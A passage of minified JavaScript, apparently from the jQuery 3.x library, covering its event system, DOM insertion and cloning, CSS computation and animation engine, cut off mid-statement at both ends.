if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,Ce)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return\"undefined\"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||\"\").match(P)||[\"\"]).length;while(l--)d=g=(s=Te.exec(e[l])||[])[1],h=(s[2]||\"\").split(\".\").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(\".\")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||\"\").match(P)||[\"\"]).length;while(l--)if(d=g=(s=Te.exec(t[l])||[])[1],h=(s[2]||\"\").split(\".\").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp(\"(^|\\\\.)\"+h.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&(\"**\"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,\"handle events\")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,\"events\")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!(\"click\"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&(\"click\"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+\" \"]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,\"input\")&&Ae(t,\"click\",Ce),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,\"input\")&&Ae(t,\"click\"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,\"input\")&&Y.get(t,\"click\")||A(t,\"a\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ce:Ee,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Ee,isPropagationStopped:Ee,isImmediatePropagationStopped:Ee,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ce,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ce,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ce,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,\"char\":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&be.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&we.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},S.event.addProp),S.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){S.event.special[e]={setup:function(){return Ae(this,e,Se),!1},trigger:function(){return Ae(this,e),!0},delegateType:t}}),S.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return ke(this,e,t,n,r)},one:function(e,t,n,r){return ke(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&\"function\"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ee),this.each(function(){S.event.remove(this,e,n,t)})}});var Ne=/<script|<style|<link/i,De=/checked\\s*(?:[^=]|=\\s*.checked.)/i,je=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;function qe(e,t){return A(e,\"table\")&&A(11!==t.nodeType?t:t.firstChild,\"tr\")&&S(e).children(\"tbody\")[0]||e}function Le(e){return e.type=(null!==e.getAttribute(\"type\"))+\"/\"+e.type,e}function He(e){return\"true/\"===(e.type||\"\").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute(\"type\"),e}function Oe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,\"handle events\"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function Pe(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&\"string\"==typeof d&&!y.checkClone&&De.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),Pe(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,\"script\"),Le)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,\"script\"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,He),c=0;c<s;c++)u=a[c],he.test(u.type||\"\")&&!Y.access(u,\"globalEval\")&&S.contains(l,u)&&(u.src&&\"module\"!==(u.type||\"\").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute(\"nonce\")},l):b(u.textContent.replace(je,\"\"),u,l))}return n}function Re(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,\"script\")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,\"input\"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:\"input\"!==l&&\"textarea\"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,\"script\")).length&&ye(a,!f&&ve(e,\"script\")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Re(this,e,!0)},remove:function(e){return Re(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Pe(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Pe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Pe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\"string\"==typeof e&&!Ne.test(e)&&!ge[(de.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=S.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(S.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Pe(this,arguments,function(e){var t=this.parentNode;S.inArray(this,n)<0&&(S.cleanData(ve(this)),t&&t.replaceChild(e,this))},n)}}),S.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,a){S.fn[e]=function(e){for(var t,n=[],r=S(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),S(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Me=new RegExp(\"^(\"+ee+\")(?!px)[a-z%]+$\",\"i\"),Ie=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},We=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Fe=new RegExp(ne.join(\"|\"),\"i\");function Be(e,t,n){var r,i,o,a,s=e.style;return(n=n||Ie(e))&&(\"\"!==(a=n.getPropertyValue(t)||n[t])||ie(e)||(a=S.style(e,t)),!y.pixelBoxStyles()&&Me.test(a)&&Fe.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+\"\":a}function $e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText=\"position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0\",l.style.cssText=\"position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%\",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n=\"1%\"!==e.top,s=12===t(e.marginLeft),l.style.right=\"60%\",o=36===t(e.right),r=36===t(e.width),l.style.position=\"absolute\",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=E.createElement(\"div\"),l=E.createElement(\"div\");l.style&&(l.style.backgroundClip=\"content-box\",l.cloneNode(!0).style.backgroundClip=\"\",y.clearCloneStyle=\"content-box\"===l.style.backgroundClip,S.extend(y,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=E.createElement(\"table\"),t=E.createElement(\"tr\"),n=E.createElement(\"div\"),e.style.cssText=\"position:absolute;left:-11111px\",t.style.height=\"1px\",n.style.height=\"9px\",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=3<parseInt(r.height),re.removeChild(e)),a}}))}();var _e=[\"Webkit\",\"Moz\",\"ms\"],ze=E.createElement(\"div\").style,Ue={};function Xe(e){var t=S.cssProps[e]||Ue[e];return t||(e in ze?e:Ue[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=_e.length;while(n--)if((e=_e[n]+t)in ze)return e}(e)||e)}var Ve=/^(none|table(?!-c[ea]).+)/,Ge=/^--/,Ye={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Qe={letterSpacing:\"0\",fontWeight:\"400\"};function Je(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||\"px\"):t}function Ke(e,t,n,r,i,o){var a=\"width\"===t?1:0,s=0,u=0;if(n===(r?\"border\":\"content\"))return 0;for(;a<4;a+=2)\"margin\"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?(\"content\"===n&&(u-=S.css(e,\"padding\"+ne[a],!0,i)),\"margin\"!==n&&(u-=S.css(e,\"border\"+ne[a]+\"Width\",!0,i))):(u+=S.css(e,\"padding\"+ne[a],!0,i),\"padding\"!==n?u+=S.css(e,\"border\"+ne[a]+\"Width\",!0,i):s+=S.css(e,\"border\"+ne[a]+\"Width\",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e[\"offset\"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Ze(e,t,n){var r=Ie(e),i=(!y.boxSizingReliable()||n)&&\"border-box\"===S.css(e,\"boxSizing\",!1,r),o=i,a=Be(e,t,r),s=\"offset\"+t[0].toUpperCase()+t.slice(1);if(Me.test(a)){if(!n)return a;a=\"auto\"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,\"tr\")||\"auto\"===a||!parseFloat(a)&&\"inline\"===S.css(e,\"display\",!1,r))&&e.getClientRects().length&&(i=\"border-box\"===S.css(e,\"boxSizing\",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Ke(e,t,n||(i?\"border\":\"content\"),o,r,a)+\"px\"}function et(e,t,n,r,i){return new et.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Be(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Ge.test(t),l=e.style;if(u||(t=Xe(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&\"get\"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];\"string\"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o=\"number\"),null!=n&&n==n&&(\"number\"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?\"\":\"px\")),y.clearCloneStyle||\"\"!==n||0!==t.indexOf(\"background\")||(l[t]=\"inherit\"),a&&\"set\"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Ge.test(t)||(t=Xe(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&\"get\"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),\"normal\"===i&&t in Qe&&(i=Qe[t]),\"\"===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each([\"height\",\"width\"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ve.test(S.css(e,\"display\"))||e.getClientRects().length&&e.getBoundingClientRect().width?Ze(e,u,n):We(e,Ye,function(){return Ze(e,u,n)})},set:function(e,t,n){var r,i=Ie(e),o=!y.scrollboxSize()&&\"absolute\"===i.position,a=(o||n)&&\"border-box\"===S.css(e,\"boxSizing\",!1,i),s=n?Ke(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e[\"offset\"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Ke(e,u,\"border\",!1,i)-.5)),s&&(r=te.exec(t))&&\"px\"!==(r[3]||\"px\")&&(e.style[u]=t,t=S.css(e,u)),Je(0,t,s)}}}),S.cssHooks.marginLeft=$e(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Be(e,\"marginLeft\"))||e.getBoundingClientRect().left-We(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\"px\"}),S.each({margin:\"\",padding:\"\",border:\"Width\"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r=\"string\"==typeof e?e.split(\" \"):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},\"margin\"!==i&&(S.cssHooks[i+o].set=Je)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Ie(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=et).prototype={constructor:et,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?\"\":\"px\")},cur:function(){var e=et.propHooks[this.prop];return e&&e.get?e.get(this):et.propHooks._default.get(this)},run:function(e){var t,n=et.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):et.propHooks._default.set(this),this}}).init.prototype=et.prototype,(et.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,\"\"))&&\"auto\"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[Xe(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=et.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\"swing\"},S.fx=et.prototype.init,S.fx.step={};var tt,nt,rt,it,ot=/^(?:toggle|show|hide)$/,at=/queueHooks$/;function st(){nt&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(st):C.setTimeout(st,S.fx.interval),S.fx.tick())}function ut(){return C.setTimeout(function(){tt=void 0}),tt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i[\"margin\"+(n=ne[r])]=i[\"padding\"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners[\"*\"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ft(o,e,t){var n,a,r=0,i=ft.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=tt||ut(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:tt||ut(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&\"expand\"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=ft.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(ft,{tweeners:{\"*\":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=[\"*\"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f=\"width\"in t||\"height\"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,\"fxshow\");for(r in n.queue||(null==(a=S._queueHooks(e,\"fx\")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,\"fx\").length||a.empty.fire()})})),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||\"toggle\"===i,i===(g?\"hide\":\"show\")){if(\"show\"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,\"display\")),\"none\"===(c=S.css(e,\"display\"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,\"display\"),le([e]))),(\"inline\"===c||\"inline-block\"===c&&null!=l)&&\"none\"===S.css(e,\"float\")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l=\"none\"===c?\"\":c)),h.display=\"inline-block\")),n.overflow&&(h.overflow=\"hidden\",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?\"hidden\"in v&&(g=v.hidden):v=Y.access(e,\"fxshow\",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,\"fxshow\"),d)S.style(e,r,d[r])})),u=ct(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&\"object\"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:\"number\"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue=\"fx\"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css(\"opacity\",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=ft(this,S.extend({},t),o);(i||Y.get(this,\"finish\"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return\"string\"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||\"fx\",[]),this.each(function(){var e=!0,t=null!=i&&i+\"queueHooks\",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&at.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||\"fx\"),this.each(function(){var e,t=Y.get(this),n=t[a+\"queue\"],r=t[a+\"queueHooks\"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each([\"toggle\",\"show\",\"hide\"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||\"boolean\"==typeof e?i.apply(this,arguments):this.animate(lt(r,!0),e,t,n)}}),S.each({slideDown:lt(\"show\"),slideUp:lt(\"hide\"),slideToggle:lt(\"toggle\"),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(tt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),tt=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){nt||(nt=!0,st())},S.fx.stop=function(){nt=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||\"fx\",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},rt=E.createElement(\"input\"),it=E.createElement(\"select\").appendChild(E.createElement(\"option\")),rt.type=\"checkbox\",y.checkOn=\"\"!==rt.value,y.optSelected=it.selected,(rt=E.createElement(\"input\")).value=\"t\",rt.type=\"radio\",y.radioValue=\"t\"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var 